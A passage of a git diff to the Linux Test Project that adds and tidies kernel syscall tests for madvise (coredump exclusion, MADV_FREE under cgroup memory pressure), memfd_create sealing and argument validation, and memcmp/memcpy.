+		if (madvise(fmem, FMEMSIZE, advice) == -1) {
+			tst_res(TFAIL | TERRNO,
+				"madvise(%p, %lu, %s) = -1",
+				fmem,
+				FMEMSIZE,
+				advstr);
+			exit(1);
+		}
+		abort();
+	}
+
+	SAFE_WAITPID(pid, &status, 0);
+	if (WIFSIGNALED(status) && WCOREDUMP(status))
+		return pid;
+	if (WIFEXITED(status))
+		return 0;
+
+	tst_res(TCONF, "No coredump produced after signal (%d)",
+		WTERMSIG(status));
+
+	return 0;
+}
+
+static void run(unsigned int test_nr)
+{
+	pid_t pid;
+
+	if (!test_nr) {
+		pid = run_child(MADV_DONTDUMP);
+		if (pid && find_sequence(pid))
+			tst_res(TFAIL,
+				"Found sequence in dump when MADV_DONTDUMP set");
+		else if (pid)
+			tst_res(TPASS, "madvise(..., MADV_DONTDUMP)");
+	} else {
+		pid = run_child(MADV_DODUMP);
+		if (pid && find_sequence(pid))
+			tst_res(TPASS, "madvise(..., MADV_DODUMP)");
+		else if (pid)
+			tst_res(TFAIL,
+				"No sequence in dump after MADV_DODUMP.");
+	}
+}
+
+static struct tst_test test = {
+	.tid = "madvise08",
+	.test = run,
+	.tcnt = 2,
+	.setup = setup,
+	.cleanup = cleanup,
+	.min_kver = "3.4.0",
+	.needs_tmpdir = 1,
+	.needs_root = 1,
+	.forks_child = 1
+};
diff --git a/testcases/kernel/syscalls/madvise/madvise09.c b/testcases/kernel/syscalls/madvise/madvise09.c
new file mode 100644
index 0000000..38a101f
--- /dev/null
+++ b/testcases/kernel/syscalls/madvise/madvise09.c
@@ -0,0 +1,341 @@
+/*
+ * Copyright (c) 2017 Cyril Hrubis <chrubis@suse.cz>
+ *
+ * This program is free software: you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation, either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program. If not, see <http://www.gnu.org/licenses/>.
+ */
+
+/*
+ * Check that memory marked with MADV_FREE is freed on memory pressure.
+ *
+ * o Fork a child and move it into a memory cgroup
+ *
+ * o Allocate pages and fill them with a pattern
+ *
+ * o Madvise pages with MADV_FREE
+ *
+ * o Check that madvised pages were not freed immediatelly
+ *
+ * o Write to some of the madvised pages again, these must not be freed
+ *
+ * o Set memory limits
+ *   - limit_in_bytes = 8MB
+ *   - memsw.limit_in_bytes = 16MB
+ *
+ *   The reason for doubling the limit_in_bytes is to have safe margin
+ *   for forking the memory hungy child etc. And the reason to setting
+ *   memsw.limit_in_bytes to twice of that is to give the system chance
+ *   to try to free some memory before cgroup OOM kicks in and kills
+ *   the memory hungry child.
+ *
+ * o Run a memory hungry child that allocates memory in loop until it's
+ *   killed by cgroup OOM
+ *
+ * o Once the child is killed the MADV_FREE pages that were not written to
+ *   should be freed, the test passes if there is at least one
+ */
+
+#include <stdlib.h>
+#include <sys/wait.h>
+#include <fcntl.h>
+#include <unistd.h>
+#include <signal.h>
+#include <errno.h>
+#include <stdio.h>
+#include <ctype.h>
+
+#include "tst_test.h"
+#include "lapi/mmap.h"
+
+#define MEMCG_PATH "/sys/fs/cgroup/memory/"
+
+static char cgroup_path[PATH_MAX];
+static char tasks_path[PATH_MAX];
+static char limit_in_bytes_path[PATH_MAX];
+static char memsw_limit_in_bytes_path[PATH_MAX];
+
+static size_t page_size;
+static int sleep_between_faults;
+
+static int swap_accounting_enabled;
+
+#define PAGES 32
+#define TOUCHED_PAGE1 0
+#define TOUCHED_PAGE2 10
+
+static void memory_pressure_child(void)
+{
+	size_t i, page_size = getpagesize();
+	char *ptr;
+
+	for (;;) {
+		ptr = mmap(NULL, 500 * page_size, PROT_READ | PROT_WRITE,
+			   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+
+		for (i = 0; i < 500; i++) {
+			ptr[i * page_size] = i % 100;
+			usleep(sleep_between_faults);
+		}
+
+		/* If swap accounting is disabled exit after process swapped out 100MB */
+		if (!swap_accounting_enabled) {
+			int swapped;
+
+			SAFE_FILE_LINES_SCANF("/proc/self/status", "VmSwap: %d", &swapped);
+
+			if (swapped > 100 * 1024)
+				exit(0);
+		}
+
+	}
+
+	abort();
+}
+
+static void setup_cgroup_paths(int pid)
+{
+	snprintf(cgroup_path, sizeof(cgroup_path),
+		 MEMCG_PATH "ltp_madvise09_%i/", pid);
+	snprintf(tasks_path, sizeof(tasks_path), "%s/tasks", cgroup_path);
+	snprintf(limit_in_bytes_path, sizeof(limit_in_bytes_path),
+		 "%s/memory.limit_in_bytes", cgroup_path);
+	snprintf(memsw_limit_in_bytes_path, sizeof(memsw_limit_in_bytes_path),
+		 "%s/memory.memsw.limit_in_bytes", cgroup_path);
+}
+
+static int count_freed(char *ptr)
+{
+	int i, ret = 0;
+
+	for (i = 0; i < PAGES; i++) {
+		if (!ptr[i * page_size])
+			ret++;
+	}
+
+	return ret;
+}
+
+static int check_page_baaa(char *ptr)
+{
+	unsigned int i;
+
+	if (ptr[0] != 'b') {
+		tst_res(TINFO, "%p unexpected %c (%i) at 0 expected 'b'",
+			ptr, isprint(ptr[0]) ? ptr[0] : ' ', ptr[0]);
+		return 1;
+	}
+
+	for (i = 1; i < page_size; i++) {
+		if (ptr[i] != 'a') {
+			tst_res(TINFO,
+				"%p unexpected %c (%i) at %i expected 'a'",
+				ptr, isprint(ptr[i]) ? ptr[i] : ' ',
+				ptr[i], i);
+			return 1;
+		}
+	}
+
+	return 0;
+}
+
+static int check_page(char *ptr, char val)
+{
+	unsigned int i;
+
+	for (i = 0; i < page_size; i++) {
+		if (ptr[i] != val) {
+			tst_res(TINFO,
+				"%p unexpected %c (%i) at %i expected %c (%i)",
+				ptr, isprint(ptr[i]) ? ptr[i] : ' ', ptr[i], i,
+				isprint(val) ? val : ' ', val);
+			return 1;
+		}
+	}
+
+	return 0;
+}
+
+static void child(void)
+{
+	size_t i;
+	char *ptr;
+	unsigned int usage, old_limit, old_memsw_limit;
+	int status, pid, retries = 0;
+
+	SAFE_MKDIR(cgroup_path, 0777);
+	SAFE_FILE_PRINTF(tasks_path, "%i", getpid());
+
+	ptr = SAFE_MMAP(NULL, PAGES * page_size, PROT_READ | PROT_WRITE,
+	                 MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
+
+	for (i = 0; i < PAGES * page_size; i++)
+		ptr[i] = 'a';
+
+	if (madvise(ptr, PAGES * page_size, MADV_FREE)) {
+		if (errno == EINVAL)
+			tst_brk(TCONF | TERRNO, "MADV_FREE is not supported");
+
+		tst_brk(TBROK | TERRNO, "MADV_FREE failed");
+	}
+
+	if (ptr[page_size] != 'a')
+		tst_res(TFAIL, "MADV_FREE pages were freed immediatelly");
+	else
+		tst_res(TPASS, "MADV_FREE pages were not freed immediatelly");
+
+	ptr[TOUCHED_PAGE1 * page_size] = 'b';
+	ptr[TOUCHED_PAGE2 * page_size] = 'b';
+
+	usage = 8 * 1024 * 1024;
+	tst_res(TINFO, "Setting memory limits to %u %u", usage, 2 * usage);
+
+	SAFE_FILE_SCANF(limit_in_bytes_path, "%u", &old_limit);
+
+	if (swap_accounting_enabled)
+		SAFE_FILE_SCANF(memsw_limit_in_bytes_path, "%u", &old_memsw_limit);
+
+	SAFE_FILE_PRINTF(limit_in_bytes_path, "%u", usage);
+
+	if (swap_accounting_enabled)
+		SAFE_FILE_PRINTF(memsw_limit_in_bytes_path, "%u", 2 * usage);
+
+	do {
+		sleep_between_faults++;
+
+		pid = SAFE_FORK();
+		if (!pid)
+			memory_pressure_child();
+
+		tst_res(TINFO, "Memory hungry child %i started, try %i", pid, retries);
+
+		SAFE_WAIT(&status);
+	} while (retries++ < 10 && count_freed(ptr) == 0);
+
+	char map[PAGES+1];
+	unsigned int freed = 0;
+	unsigned int corrupted = 0;
+
+	for (i = 0; i < PAGES; i++) {
+		char exp_val;
+
+		if (ptr[i * page_size]) {
+			exp_val = 'a';
+			map[i] = 'p';
+		} else {
+			exp_val = 0;
+			map[i] = '_';
+			freed++;
+		}
+
+		if (i != TOUCHED_PAGE1 && i != TOUCHED_PAGE2) {
+			if (check_page(ptr + i * page_size, exp_val)) {
+				map[i] = '?';
+				corrupted++;
+			}
+		} else {
+			if (check_page_baaa(ptr + i * page_size)) {
+				map[i] = '?';
+				corrupted++;
+			}
+		}
+	}
+	map[PAGES] = '\0';
+
+	tst_res(TINFO, "Memory map: %s", map);
+
+	if (freed)
+		tst_res(TPASS, "Pages MADV_FREE were freed on low memory");
+	else
+		tst_res(TFAIL, "No MADV_FREE page was freed on low memory");
+
+	if (corrupted)
+		tst_res(TFAIL, "Found corrupted page");
+	else
+		tst_res(TPASS, "All pages have expected content");
+
+	if (swap_accounting_enabled)
+		SAFE_FILE_PRINTF(memsw_limit_in_bytes_path, "%u", old_memsw_limit);
+
+	SAFE_FILE_PRINTF(limit_in_bytes_path, "%u", old_limit);
+
+	SAFE_MUNMAP(ptr, PAGES);
+
+	exit(0);
+}
+
+static void cleanup(void)
+{
+	if (cgroup_path[0] && !access(cgroup_path, F_OK))
+		rmdir(cgroup_path);
+}
+
+static void run(void)
+{
+	pid_t pid;
+	int status;
+
+retry:
+	pid = SAFE_FORK();
+
+	if (!pid) {
+		setup_cgroup_paths(getpid());
+		child();
+	}
+
+	setup_cgroup_paths(pid);
+	SAFE_WAIT(&status);
+	cleanup();
+
+	/*
+	 * Rarely cgroup OOM kills both children not only the one that allocates
+	 * memory in loop, hence we retry here if that happens.
+	 */
+	if (WIFSIGNALED(status)) {
+		tst_res(TINFO, "Both children killed, retrying...");
+		goto retry;
+	}
+
+	if (WIFEXITED(status) && WEXITSTATUS(status))
+		tst_brk(TBROK, "Child exitted unexpectedly");
+}
+
+static void setup(void)
+{
+	long int swap_total;
+
+	if (access(MEMCG_PATH, F_OK)) {
+		tst_brk(TCONF, "'" MEMCG_PATH
+			"' not present, CONFIG_MEMCG missing?");
+	}
+
+	if (!access(MEMCG_PATH "memory.memsw.limit_in_bytes", F_OK))
+		swap_accounting_enabled = 1;
+	else
+		tst_res(TINFO, "Swap accounting is disabled");
+
+	SAFE_FILE_LINES_SCANF("/proc/meminfo", "SwapTotal: %ld", &swap_total);
+	if (swap_total <= 0)
+		tst_brk(TCONF, "MADV_FREE does not work without swap");
+
+	page_size = getpagesize();
+}
+
+static struct tst_test test = {
+	.tid = "madvise09",
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+	.min_kver = "4.5",
+	.needs_root = 1,
+	.forks_child = 1,
+};
diff --git a/testcases/kernel/syscalls/mallopt/mallopt01.c b/testcases/kernel/syscalls/mallopt/mallopt01.c
index 5df959e..416fc48 100644
--- a/testcases/kernel/syscalls/mallopt/mallopt01.c
+++ b/testcases/kernel/syscalls/mallopt/mallopt01.c
@@ -70,6 +70,8 @@
 {
 	char *buf;
 
+	tst_parse_opts(argc, argv, NULL, NULL);
+
 	tst_tmpdir();
 
 	buf = SAFE_MALLOC(NULL, 20480);
diff --git a/testcases/kernel/syscalls/memcmp/memcmp01.c b/testcases/kernel/syscalls/memcmp/memcmp01.c
index ecfe86e..3b4b4e3 100644
--- a/testcases/kernel/syscalls/memcmp/memcmp01.c
+++ b/testcases/kernel/syscalls/memcmp/memcmp01.c
@@ -39,7 +39,6 @@
 #include <string.h>
 #include <errno.h>
 
-/*****	LTP Port	*****/
 #include "test.h"
 
 char *TCID = "memcmp1";
@@ -49,11 +48,9 @@
 #define LEN	100
 #define FAILED 0
 #define PASSED 1
-/*****	**	**	*****/
 
 char buf[BSIZE];
 
-/*****	LTP Port	*****/
 int local_flag = PASSED;
 int block_number;
 FILE *temp;
@@ -64,19 +61,18 @@
 int instress();
 
 void setup();
-/*****	**	**	*****/
 
 void clearit();
 void fill(char *str);
 int checkit(char *str);
 
-/*--------------------------------------------------------------*/
 int main(int argc, char *argv[])
 {
 	char *p, *q;
 
-	setup();		/* temp file is now open        */
-/*--------------------------------------------------------------*/
+	tst_parse_opts(argc, argv, NULL, NULL);
+
+	setup();
 	blenter();
 
 	clearit();
@@ -186,16 +182,11 @@
 	}
 
 	blexit();
-/*--------------------------------------------------------------*/
-/* Clean up any files created by test before call to anyfail.	*/
 
-	anyfail();		/* THIS CALL DOES NOT RETURN - EXITS!!  */
+	anyfail();
 	tst_exit();
 }
 
-/*--------------------------------------------------------------*/
-/* FUNCTIONS GO HERE */
-
 void clearit(void)
 {
 	register int i;
diff --git a/testcases/kernel/syscalls/memcpy/memcpy01.c b/testcases/kernel/syscalls/memcpy/memcpy01.c
index aa8ec4b..1212465 100644
--- a/testcases/kernel/syscalls/memcpy/memcpy01.c
+++ b/testcases/kernel/syscalls/memcpy/memcpy01.c
@@ -28,14 +28,12 @@
  *	memcpy1(3)
  *
  * ALGORITHM
- *	There are 4 cases for copies:  S = Source, D = Destination
+ *	There are 2 cases for copies:  S = Source, D = Destination
  *
  *	  1 - S < D no overlap
  *	  2 - D < S no overlap
- *	  3 - S < D with overlap
- *	  4 - D < S with overlap
  *
- *	We try all four cases.  Check buffer boundaries.
+ *	We try both cases.  Check buffer boundaries.
  *
  * RESTRICTIONS
  */
@@ -46,42 +44,38 @@
 #include <string.h>
 #include <errno.h>
 
-/*****	LTP Port	*****/
 #include "test.h"
 
 char *TCID = "memcpy1";
-/*****	**	**	*****/
+
 #undef  BSIZE
 #define BSIZE	4096
 #define LEN	100
 #define FAILED 0
 #define PASSED 1
 
-/*****	LTP Port	*****/
 int local_flag = PASSED;
 int block_number;
 FILE *temp;
 int TST_TOTAL = 1;
-/*****	**	**	*****/
 char buf[BSIZE];
 
-/*****	LTP Port	*****/
 
 int anyfail();
 int blenter();
 int blexit();
 
 void setup();
-/*****	**	**	*****/
 void clearit();
 void fill(char *str);
 int checkit(char *str);
 
-/*--------------------------------------------------------------*/
 int main(int argc, char *argv[])
 {
 	char *p, *q;
 
+	tst_parse_opts(argc, argv, NULL, NULL);
+
 	setup();		/* temp file is now open        */
 /*--------------------------------------------------------------*/
 	blenter();
@@ -137,70 +131,11 @@
 	}
 
 	blexit();
-/*--------------------------------------------------------------*/
-	blenter();
 
-	clearit();
-
-	p = &buf[800];
-
-	fill(p);
-	q = &buf[850];
-	memcpy(q, p, LEN);
-
-	if (checkit(q)) {
-		fprintf(temp, "\tcopy failed - missed data\n");
-		local_flag = FAILED;
-	}
-
-	if (p[-1]) {
-		fprintf(temp, "\tcopy failed - 'to' bounds\n");
-		local_flag = FAILED;
-	}
-
-	if (q[LEN]) {
-		fprintf(temp, "\tcopy failed - 'from' bounds\n");
-		local_flag = FAILED;
-	}
-
-	blexit();
-/*--------------------------------------------------------------*/
-	blenter();
-
-	clearit();
-
-	p = &buf[850];
-
-	fill(p);
-	q = &buf[800];
-	memcpy(q, p, LEN);
-
-	if (checkit(q)) {
-		fprintf(temp, "\tcopy failed - missed data\n");
-		local_flag = FAILED;
-	}
-
-	if (p[LEN]) {
-		fprintf(temp, "\tcopy failed - 'to' bounds\n");
-		local_flag = FAILED;
-	}
-
-	if (q[-1]) {
-		fprintf(temp, "\tcopy failed - 'from' bounds\n");
-		local_flag = FAILED;
-	}
-
-	blexit();
-/*--------------------------------------------------------------*/
-/* Clean up any files created by test before call to anyfail.	*/
-
-	anyfail();		/* THIS CALL DOES NOT RETURN - EXITS!!  */
+	anyfail();
 	tst_exit();
 }
 
-/*--------------------------------------------------------------*/
-/* FUNCTIONS GO HERE */
-
 void clearit(void)
 {
 	register int i;
diff --git a/testcases/kernel/syscalls/memfd_create/Makefile b/testcases/kernel/syscalls/memfd_create/Makefile
new file mode 100644
index 0000000..f23b873
--- /dev/null
+++ b/testcases/kernel/syscalls/memfd_create/Makefile
@@ -0,0 +1,23 @@
+#
+#  Copyright (C) 2017  Red Hat, Inc.
+#
+#  This program is free software; you can redistribute it and/or
+#  modify it under the terms of the GNU General Public License as
+#  published by the Free Software Foundation; either version 2 of
+#  the License, or (at your option) any later version.
+#
+#  This program is distributed in the hope that it would be useful,
+#  but WITHOUT ANY WARRANTY; without even the implied warranty of
+#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+#  GNU General Public License for more details.
+#
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+
+FILTER_OUT_MAKE_TARGETS         := memfd_create_common
+
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
+
+$(MAKE_TARGETS): %: %.o memfd_create_common.o
diff --git a/testcases/kernel/syscalls/memfd_create/memfd_create01.c b/testcases/kernel/syscalls/memfd_create/memfd_create01.c
new file mode 100644
index 0000000..04a5f4f
--- /dev/null
+++ b/testcases/kernel/syscalls/memfd_create/memfd_create01.c
@@ -0,0 +1,270 @@
+/*
+ * Copyright (C) 2017  Red Hat, Inc.
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ */
+
+/*
+ *  Based on Linux/tools/testing/selftests/memfd/memfd_test.c
+ *  by David Herrmann <dh.herrmann@gmail.com>
+ *
+ *  24/02/2017   Port to LTP    <jracek@redhat.com>
+ */
+
+#define _GNU_SOURCE
+
+#include "tst_test.h"
+#include "memfd_create_common.h"
+
+/*
+ * Do few basic sealing tests to see whether setting/retrieving seals works.
+ */
+static void test_basic(int fd)
+{
+	/* add basic seals */
+	CHECK_MFD_HAS_SEALS(fd, 0);
+	CHECK_MFD_ADD_SEALS(fd, F_SEAL_SHRINK | F_SEAL_WRITE);
+	CHECK_MFD_HAS_SEALS(fd, F_SEAL_SHRINK | F_SEAL_WRITE);
+
+	/* add them again */
+	CHECK_MFD_ADD_SEALS(fd, F_SEAL_SHRINK | F_SEAL_WRITE);
+	CHECK_MFD_HAS_SEALS(fd, F_SEAL_SHRINK | F_SEAL_WRITE);
+
+	/* add more seals and seal against sealing */
+	CHECK_MFD_ADD_SEALS(fd, F_SEAL_GROW | F_SEAL_SEAL);
+	CHECK_MFD_HAS_SEALS(fd, F_SEAL_SHRINK | F_SEAL_GROW |
+			F_SEAL_WRITE | F_SEAL_SEAL);
+
+	/* verify that sealing no longer works */
+	CHECK_MFD_FAIL_ADD_SEALS(fd, F_SEAL_GROW);
+	CHECK_MFD_FAIL_ADD_SEALS(fd, 0);
+}
+
+/*
+ * Verify that no sealing is possible when memfd is created without
+ * MFD_ALLOW_SEALING flag.
+ */
+static void test_no_sealing_without_flag(int fd)
+{
+	CHECK_MFD_HAS_SEALS(fd, F_SEAL_SEAL);
+	CHECK_MFD_FAIL_ADD_SEALS(fd,
+		F_SEAL_SHRINK | F_SEAL_GROW | F_SEAL_WRITE);
+	CHECK_MFD_HAS_SEALS(fd, F_SEAL_SEAL);
+}
+
+/*
+ * Test SEAL_WRITE
+ * Test whether SEAL_WRITE actually prevents modifications.
+ */
+static void test_seal_write(int fd)
+{
+	CHECK_MFD_HAS_SEALS(fd, 0);
+	CHECK_MFD_ADD_SEALS(fd, F_SEAL_WRITE);
+	CHECK_MFD_HAS_SEALS(fd, F_SEAL_WRITE);
+
+	CHECK_MFD_READABLE(fd);
+	CHECK_MFD_NON_WRITEABLE(fd);
+	CHECK_MFD_SHRINKABLE(fd);
+	CHECK_MFD_GROWABLE(fd);
+	CHECK_MFD_NON_GROWABLE_BY_WRITE(fd);
+}
+
+/*
+ * Test SEAL_SHRINK
+ * Test whether SEAL_SHRINK actually prevents shrinking
+ */
+static void test_seal_shrink(int fd)
+{
+	CHECK_MFD_HAS_SEALS(fd, 0);
+	CHECK_MFD_ADD_SEALS(fd, F_SEAL_SHRINK);
+	CHECK_MFD_HAS_SEALS(fd, F_SEAL_SHRINK);
+
+	CHECK_MFD_READABLE(fd);
+	CHECK_MFD_WRITEABLE(fd);
+	CHECK_MFD_NON_SHRINKABLE(fd);
+	CHECK_MFD_GROWABLE(fd);
+	CHECK_MFD_GROWABLE_BY_WRITE(fd);
+}
+
+/*
+ * Test SEAL_GROW
+ * Test whether SEAL_GROW actually prevents growing
+ */
+static void test_seal_grow(int fd)
+{
+	CHECK_MFD_HAS_SEALS(fd, 0);
+	CHECK_MFD_ADD_SEALS(fd, F_SEAL_GROW);
+	CHECK_MFD_HAS_SEALS(fd, F_SEAL_GROW);
+
+	CHECK_MFD_READABLE(fd);
+	CHECK_MFD_WRITEABLE(fd);
+	CHECK_MFD_SHRINKABLE(fd);
+	CHECK_MFD_NON_GROWABLE(fd);
+	CHECK_MFD_NON_GROWABLE_BY_WRITE(fd);
+}
+
+/*
+ * Test SEAL_SHRINK | SEAL_GROW
+ * Test whether SEAL_SHRINK | SEAL_GROW actually prevents resizing
+ */
+static void test_seal_resize(int fd)
+{
+	CHECK_MFD_HAS_SEALS(fd, 0);
+	CHECK_MFD_ADD_SEALS(fd, F_SEAL_SHRINK | F_SEAL_GROW);
+	CHECK_MFD_HAS_SEALS(fd, F_SEAL_SHRINK | F_SEAL_GROW);
+
+	CHECK_MFD_READABLE(fd);
+	CHECK_MFD_WRITEABLE(fd);
+	CHECK_MFD_NON_SHRINKABLE(fd);
+	CHECK_MFD_NON_GROWABLE(fd);
+	CHECK_MFD_NON_GROWABLE_BY_WRITE(fd);
+}
+
+/*
+ * Test sharing via dup()
+ * Test that seals are shared between dupped FDs and they're all equal.
+ */
+static void test_share_dup(int fd)
+{
+	int fd2;
+
+	CHECK_MFD_HAS_SEALS(fd, 0);
+
+	fd2 = SAFE_DUP(fd);
+	CHECK_MFD_HAS_SEALS(fd2, 0);
+
+	CHECK_MFD_ADD_SEALS(fd, F_SEAL_WRITE);
+	CHECK_MFD_HAS_SEALS(fd, F_SEAL_WRITE);
+	CHECK_MFD_HAS_SEALS(fd2, F_SEAL_WRITE);
+
+	CHECK_MFD_ADD_SEALS(fd2, F_SEAL_SHRINK);
+	CHECK_MFD_HAS_SEALS(fd, F_SEAL_WRITE | F_SEAL_SHRINK);
+	CHECK_MFD_HAS_SEALS(fd2, F_SEAL_WRITE | F_SEAL_SHRINK);
+
+	CHECK_MFD_ADD_SEALS(fd, F_SEAL_SEAL);
+	CHECK_MFD_HAS_SEALS(fd, F_SEAL_WRITE | F_SEAL_SHRINK | F_SEAL_SEAL);
+	CHECK_MFD_HAS_SEALS(fd2, F_SEAL_WRITE | F_SEAL_SHRINK | F_SEAL_SEAL);
+
+	CHECK_MFD_FAIL_ADD_SEALS(fd, F_SEAL_GROW);
+	CHECK_MFD_FAIL_ADD_SEALS(fd2, F_SEAL_GROW);
+	CHECK_MFD_FAIL_ADD_SEALS(fd, F_SEAL_SEAL);
+	CHECK_MFD_FAIL_ADD_SEALS(fd2, F_SEAL_SEAL);
+
+	SAFE_CLOSE(fd2);
+
+	CHECK_MFD_FAIL_ADD_SEALS(fd, F_SEAL_GROW);
+}
+
+/*
+ * Test sealing with active mmap()s
+ * Modifying seals is only allowed if no other mmap() refs exist.
+ */
+static void test_share_mmap(int fd)
+{
+	void *p;
+
+	CHECK_MFD_HAS_SEALS(fd, 0);
+
+	/* shared/writable ref prevents sealing WRITE, but allows others */
+	p = SAFE_MMAP(NULL, MFD_DEF_SIZE, PROT_READ | PROT_WRITE, MAP_SHARED,
+		fd, 0);
+
+	CHECK_MFD_FAIL_ADD_SEALS(fd, F_SEAL_WRITE);
+	CHECK_MFD_HAS_SEALS(fd, 0);
+	CHECK_MFD_ADD_SEALS(fd, F_SEAL_SHRINK);
+	CHECK_MFD_HAS_SEALS(fd, F_SEAL_SHRINK);
+	SAFE_MUNMAP(p, MFD_DEF_SIZE);
+
+	/* readable ref allows sealing */
+	p = SAFE_MMAP(NULL, MFD_DEF_SIZE, PROT_READ, MAP_PRIVATE, fd, 0);
+	CHECK_MFD_ADD_SEALS(fd, F_SEAL_WRITE);
+	CHECK_MFD_HAS_SEALS(fd, F_SEAL_WRITE | F_SEAL_SHRINK);
+	SAFE_MUNMAP(p, MFD_DEF_SIZE);
+}
+
+/*
+ * Test sealing with open(/proc/self/fd/%d)
+ * Via /proc we can get access to a separate file-context for the same memfd.
+ * This is *not* like dup(), but like a real separate open(). Make sure the
+ * semantics are as expected and we correctly check for RDONLY / WRONLY / RDWR.
+ */
+static void test_share_open(int fd)
+{
+	int fd2;
+
+	CHECK_MFD_HAS_SEALS(fd, 0);
+
+	fd2 = CHECK_MFD_OPEN(fd, O_RDWR, 0);
+	CHECK_MFD_ADD_SEALS(fd, F_SEAL_WRITE);
+	CHECK_MFD_HAS_SEALS(fd, F_SEAL_WRITE);
+	CHECK_MFD_HAS_SEALS(fd2, F_SEAL_WRITE);
+
+	CHECK_MFD_ADD_SEALS(fd2, F_SEAL_SHRINK);
+	CHECK_MFD_HAS_SEALS(fd, F_SEAL_WRITE | F_SEAL_SHRINK);
+	CHECK_MFD_HAS_SEALS(fd2, F_SEAL_WRITE | F_SEAL_SHRINK);
+
+	SAFE_CLOSE(fd);
+	fd = CHECK_MFD_OPEN(fd2, O_RDONLY, 0);
+
+	CHECK_MFD_FAIL_ADD_SEALS(fd, F_SEAL_SEAL);
+	CHECK_MFD_HAS_SEALS(fd, F_SEAL_WRITE | F_SEAL_SHRINK);
+	CHECK_MFD_HAS_SEALS(fd2, F_SEAL_WRITE | F_SEAL_SHRINK);
+
+	SAFE_CLOSE(fd2);
+}
+
+
+static const struct tcase {
+	int flags;
+	void (*func)(int fd);
+	const char *desc;
+} tcases[] = {
+	{MFD_ALLOW_SEALING, &test_basic, "Basic tests + set/get seals"},
+	{0,                 &test_no_sealing_without_flag, "Disabled sealing"},
+
+	{MFD_ALLOW_SEALING, &test_seal_write, "Write seal"},
+	{MFD_ALLOW_SEALING, &test_seal_shrink, "Shrink seal"},
+	{MFD_ALLOW_SEALING, &test_seal_grow, "Grow seal"},
+	{MFD_ALLOW_SEALING, &test_seal_resize, "Resize seal"},
+
+	{MFD_ALLOW_SEALING, &test_share_dup, "Seals shared for dup"},
+	{MFD_ALLOW_SEALING, &test_share_mmap, "Seals shared for mmap"},
+	{MFD_ALLOW_SEALING, &test_share_open, "Seals shared for open"},
+};
+
+static void verify_memfd_create(unsigned int n)
+{
+	int fd;
+	const struct tcase *tc;
+
+	tc = &tcases[n];
+
+	tst_res(TINFO, "%s", tc->desc);
+
+	fd = CHECK_MFD_NEW(TCID, MFD_DEF_SIZE, tc->flags);
+
+	tc->func(fd);
+
+	SAFE_CLOSE(fd);
+}
+
+static void setup(void)
+{
+	ASSERT_HAVE_MEMFD_CREATE();
+}
+
+static struct tst_test test = {
+	.tid = "memfd_create01",
+	.test = verify_memfd_create,
+	.tcnt = ARRAY_SIZE(tcases),
+	.setup = setup,
+};
diff --git a/testcases/kernel/syscalls/memfd_create/memfd_create02.c b/testcases/kernel/syscalls/memfd_create/memfd_create02.c
new file mode 100644
index 0000000..1c56156
--- /dev/null
+++ b/testcases/kernel/syscalls/memfd_create/memfd_create02.c
@@ -0,0 +1,94 @@
+/*
+ * Copyright (C) 2017  Red Hat, Inc.
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of
+ * the License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it would be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ */
+
+ /*
+  *  Based on Linux/tools/testing/selftests/memfd/memfd_test.c
+  *  by David Herrmann <dh.herrmann@gmail.com>
+  *
+  *  24/02/2017   Port to LTP    <jracek@redhat.com>
+  */
+
+#define _GNU_SOURCE
+
+#include <errno.h>
+
+#include <tst_test.h>
+
+#include "memfd_create_common.h"
+
+static char buf[2048];
+static char term_buf[2048];
+
+static const struct tcase {
+	char *descr;
+	char *memfd_name;
+	int flags;
+	int memfd_create_exp_err;
+} tcases[] = {
+	/*
+	 * Test memfd_create() syscall
+	 * Verify syscall-argument validation, including name checks,
+	 * flag validation and more.
+	 */
+	{"invalid name fail 1",   NULL,     0,                      EFAULT },
+	{"invalid name fail 2",   buf,      0,                      EINVAL },
+	{"invalid name fail 3",   term_buf, 0,                      EINVAL },
+
+	{"invalid flags fail 1", "test",  -500,                     EINVAL },
+	{"invalid flags fail 2", "test",  0x0100,                   EINVAL },
+	{"invalid flags fail 3", "test",  ~MFD_CLOEXEC,             EINVAL },
+	{"invalid flags fail 4", "test",  ~MFD_ALLOW_SEALING,       EINVAL },
+	{"invalid flags fail 5", "test",  ~0,                       EINVAL },
+	{"invalid flags fail 6", "test",  0x80000000U,              EINVAL },
+
+	{"valid flags 1 pass", "test",  MFD_CLOEXEC,                     0 },
+	{"valid flags 2 pass", "test",  MFD_ALLOW_SEALING,               0 },
+	{"valid flags 3 pass", "test",  MFD_CLOEXEC | MFD_ALLOW_SEALING, 0 },
+	{"valid flags 4 pass", "test",  0,                               0 },
+	{"valid flags 5 pass", "",      0,                               0 },
+};
+
+static void setup(void)
+{
+	ASSERT_HAVE_MEMFD_CREATE();
+
+	memset(buf, 0xff, sizeof(buf));
+
+	memset(term_buf, 0xff, sizeof(term_buf));
+	term_buf[sizeof(term_buf) - 1] = 0;
+}
+
+static void verify_memfd_create_errno(unsigned int n)
+{
+	const struct tcase *tc;
+
+	tc = &tcases[n];
+
+	TEST(sys_memfd_create(tc->memfd_name, tc->flags));
